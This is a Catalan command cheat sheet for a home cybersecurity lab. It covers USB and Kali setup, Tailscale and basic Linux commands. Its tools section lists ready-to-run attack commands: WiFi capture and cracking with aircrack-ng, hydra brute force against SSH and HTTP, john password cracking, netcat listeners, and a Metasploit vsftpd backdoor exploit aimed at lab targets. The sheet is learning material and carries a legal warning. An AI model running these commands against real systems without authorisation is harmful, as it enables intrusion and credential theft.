

Xuleta de comandes

Bernat CyberLab — Annex ANN-05

ANN-05 — Xuleta de comandes

Totes les ordres útils del laboratori, organitzades per categoria. Sempre amb placeholders (cap valor real). Aquesta xuleta té una versió PDF generada automàticament pel projecte (veure [scripts/cheatsheet/build-pdf.sh](#)).

Aquest annex és una referència ràpida: per aprendre amb profunditat qualsevol tema, consulta el capítol corresponent del llibre.

■ Ollama (al Mac potent de casa, quan s'instal·li)

ollama launch hermes --model <MODEL_PLACEHOLDER> ■ PowerShell (Windows — preparació ISO i USB) Verificar SHA256 d'una ISO Get-FileHash "C:\Users\<USER>\Downloads\<ISO_NAME>.iso" -Algorithm SHA256 Veure particions i tipus (GPT/MBR) Get-Disk | Format-Table Number, FriendlyName, PartitionStyle, OperationalStatus -AutoSize (Get-Disk -Number 0).PartitionStyle Veure volums i unitats del sistema Get-Volume | Format-Table DriveLetter, FileSystemLabel, Size, Path -AutoSize Llistar ISOs descarregades a Downloads Get-ChildItem "C:\Users\<USER>\Downloads*.iso" Copiar una ISO a l'USB (Ventoy o similar) Copy-Item "C:\Users\<USER>\Downloads\<ISO_NAME>.iso" -Destination "<USB_LETTER>:\." ■ Rufus (eina gràfica) Per gravar una Live ISO amb persistència Descarregar Rufus portable des de <https://www.rufus.ie> Connectar USB. Device: triar el USB correcte (comprovar mida!). Boot selection: clicar SELECCIONAR → triar la ISO. Partition scheme: GPT (UEFI modern) o MBR (BIOS antic). Persistent partition size: moure el slider (32-64 GB). START. Si surt el diàleg "ISO mode DD", vol dir que la ISO és ISOHybrid — cal ISO Live per persistència real. ■ Ventoy (eina gràfica) Instal·lació a l'USB Descarregar des de <https://www.ventoy.net/en/download.html> Connectar USB. Obrir Ventoy → seleccionar USB → Install. Crea dues particions: una petita (Ventoy) + una gran buida. Ús diari Copiar ISOs a la partició gran. En arrencar, Ventoy mostra menú per triar quina ISO carregar. ■■ Instal·lar Kali al PC de l'hort Requisits USB amb Kali Live o Installer. PC de l'hort connectat per cable al router 4G (preferible Wi-Fi). Disposar del PC de l'hort físicament per prémer tecles. Pas a pas Connectar l'USB al PC. Apagar i encendre. Prémer F12 (o tecla del fabricant) per entrar al menú d'arrencada. Triar el USB. Al menú de Ventoy, triar la ISO de Kali. Triar Install o Graphical Install. Configurar: - Idioma: Català o Anglès. - Xarxa: per cable, automàtica. - Nom d'amfitrió: cyber-host. - Usuari: el teu nom d'usuari. - Contrasenya: una forta (a KeePassXC!). - Disc: usar tot el disc (esborrarà tot!). - GRUB: instal·lar a /dev/sda. Esperar 15-30 min. Reiniciar, treure l'USB. Verificar whoami uname -a ip a # buscar la interfície amb IP 192.168.x.x ■ Tailscale — instal·lació i ús Tailscale crea una xarxa privada virtual (VPN mesh) entre tots els dispositius. Permet accedir al lab de l'hort des de qualsevol lloc, ignorant CGNAT i IPs dinàmiques.

Per què serveix

- SSH al lab des del Mac de casa, del mòbil, etc.
- Resol CGNAT (NAT traversal automàtic).
- Compatible amb IP dinàmica.
- Xifrat punta a punta (WireGuard).

Instal·lació al PC de l'hort

`curl -fsSL https://tailscale.com/install.sh | sh` sudo tailscale up Si dóna error de DNS:

`sudo systemctl enable --now tailscaled` sudo tailscale up Instal·lació al Mac (casa o hort) # Opció 1: brew
brew install --cask tailscale # Opció 2: descarregar de <https://tailscale.com/download> Obtenir la IP dins del
tailnet sudo tailscale ip -4 Retorna 100.x.y.z. Anota-la.

Accedir des d'un altre dispositiu

- Instal·lar Tailscale al client.
- Login amb el mateix compte.
- SSH:

`ssh <USER>@cyber-host` # o per IP: `ssh <USER>@100-x-y-z` Estat del tailnet tailscale status Apareixen tots els dispositius connectats i les seves IPs.

Apagar / encendre Tailscale

`sudo tailscale down` sudo tailscale up ■ Ordres Kali bàsiques (al PC de l'hort) Identitat i xarxa `whoami` #
usuari actual `uname -a` # versió del kernel `hostname` # nom del sistema `ip a` # totes les interfícies `ip route` #
ruta per defecte `ping -c 4 8.8.8.8` # provar sortida a Internet `ping -c 4 google.com` # igual amb nom Sistema
de fitxers `ls` # llistar `ls -la` # amb ocults `pwd` # on sóc `cd /tmp` # canviar cat fitxer.txt # veure contingut `less`
`/var/log/syslog` # veure logs `df -h` # espai en disc `free -h` # memòria Usuaris i permisos `who` # usuaris
connectats `sudo` ordre # executar com a root `su -` usuari # canviar d'usuari `chmod 755 fitxer` # canviar
permisos `chown user:group fitxer` # canviar propietari Processos i serveis `ps aux` # processos actius `top` #
monitor en temps real `htop` # versió millorada (instal·lar-la) `systemctl status servei` # estat d'un servei `sudo`
`systemctl start servei` sudo `systemctl stop servei` sudo `systemctl restart servei` sudo `systemctl enable servei`
Xarxa avançada `ss -tulnp` # ports oberts `ip neigh` # taula ARP `arp -a` # clients connectats al router Actualitzar
el sistema `sudo apt update` sudo `apt upgrade -y` sudo `apt dist-upgrade -y` sudo `apt autoremove -y` ■■ Eines
de seguretat essencials (a Kali) `nmap` — escàner de xarxa `nmap 192.168.1.1` # un host `nmap`
`192.168.1.0/24` # tota la xarxa `nmap -sV 192.168.1.1` # versions de serveis `nmap -A 192.168.1.1` # detecció
agressiva `nmap -p- 192.168.1.1` # tots els ports `nmap -sS 192.168.1.1` # SYN stealth `nmap -sn`
`192.168.1.0/24` # només hosts (ping sweep) `wireshark` — captura de tràfic (gràfica) `sudo wireshark` # triar
interfície (eth0 per cable, wlan0 per WiFi) # filtres: `http, tcp.port == 80, ip.addr == 192.168.1.1` Alternativa
terminal (tcpdump):

`sudo tcpdump -i eth0` sudo `tcpdump -i wlan0 -w captura.pcap` sudo `tcpdump -r captura.pcap` aircrack-ng —
auditoria WiFi Cal una clau WiFi USB amb mode monitor (RT3070 o RTL8812AU).

`sudo airmon-ng start wlan0` sudo `airodump-ng wlan0mon` sudo `airodump-ng -c 1 --bssid`
`XX:XX:XX:XX:XX:XX -w captura wlan0mon` sudo `aircrack-ng captura-01.cap` hydra — força bruta de login
`hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 ssh` hydra -l admin -P
`/usr/share/wordlists/rockyou.txt 192.168.1.1 http-get john` — cracker de contrasenyes john
--wordlist=/usr/share/wordlists/rockyou.txt hash.txt john --show hash.txt netcat (ncat) — eines de xarxa nc
-lvp 4444 # port d'escolta nc 192.168.1.1 80 # connectar sudo `ncat -lvnp 4444` # variant moderna gobuster /
dirb — descoberta web gobuster `dir -u http://192.168.1.1 -w /usr/share/wordlists/dirb/common.txt` dirb
`http://192.168.1.1` ■ Procediment: primera sessió de pràctiques Connectar al router 4G de Parlem. Obrir
terminal. Veure la IP: `ip a` | `grep 192` Calcular el rang. Si la IP és 192.168.1.42, la xarxa és 192.168.1.0/24.
Escanejar tota la xarxa: `nmap -sn 192.168.1.0/24` Identificar tots els dispositius. Triar-ne un (mai el router!) i
fer un escaneig més profund: `nmap -sV 192.168.1.42` Anotar ports i serveis. ■ Exercicis guiats (sense risc)
Metasploitable 2 Descarregar de <https://sourceforge.net/projects/metasploitable/> Importar a VirtualBox (dins
del PC de l'hort). Iniciar la VM. Des de Kali: `nmap 192.168.x.0/24` # descobrir la IP de Metasploitable `nmap`
`-sV -p- 192.168.x.x` Usar Metasploit: `msfconsole` search vsftpd use exploit/unix/ftp/vsftpd_234_backdoor set

RHOSTS 192.168.x.x exploit DVWA (Damn Vulnerable Web App) Dins de Kali: sudo apt install dwwa # o descarregar de <https://github.com/digininja/DVWA> Accedir a <http://127.0.0.1/dvwa> des del navegador. Setup → crear / reset database. Login amb admin/password. Security level: Low. SQL Injection, XSS, Command Injection, File Inclusion... ■ Plataformes d'aprenentatge en línia TryHackMe: <https://tryhackme.com> — guiat, ideal per començar. HackTheBox Academy: <https://academy.hackthebox.com> — més avançat. OverTheWire: <https://overthewire.org/wargames/> — wargames. PortSwigger Web Security Academy: <https://portswigger.net/web-security> — web security gratuït. VulnHub: <https://www.vulnhub.com> — màquines virtuals vulnerables. ■ Glossari ràpid Terme Definició Live ISO Imatge que arrenca sense instal·lar Persistència Guardar canvis entre arrencades en USB Live ISOHybrid ISO que es pot gravar a CD/DVD o USB GPT / MBR Esquemes de partició. GPT per UEFI, MBR per BIOS antics CGNAT Carrier-Grade NAT. Operador comparteix IP pública entre clients Tailscale VPN mesh basat en WireGuard WireGuard Protocol VPN modern, molt ràpid nmap Eina d'escaneig de xarxa Wireshark Analitzador de protocols de xarxa Metasploit Framework d'explotació amb milers d'exploits DVWA Aplicació web vulnerable per practicar Kali Linux Distribució Linux per a pentesting Lab Entorn controlat per practicar seguretat Pentesting Proves de penetració simulades Vector d'atac Mètode que un atacant usa per accedir Vulnerabilitat Punt feble explotable Exploit Codi que aprofita una vulnerabilitat Payload Codi que s'executa quan l'exploit té èxit Mode monitor Mode WiFi que captura tot el tràfic NAT traversal Tècnica per fer connexions peer-to-peer a través de NAT DERP relay Servidors de relay de Tailscale quan NAT traversal falla ■■ Avís legal i laboral Tots els exercicis sobre dispositius propis o amb permís explícit. Auditar equips aliens és delictes (articles 197 i 264 del Codi Penal espanyol). Mai practicar des de l'equip de la feina — risc laboral encara que l'objectiu sigui el teu propi PC. Veure CAP-00-50 per a la política ètica completa del projecte. Última actualització: 2026-07-28 — sincronitzada amb l'arquitectura 2-ubicacions del CyberLab.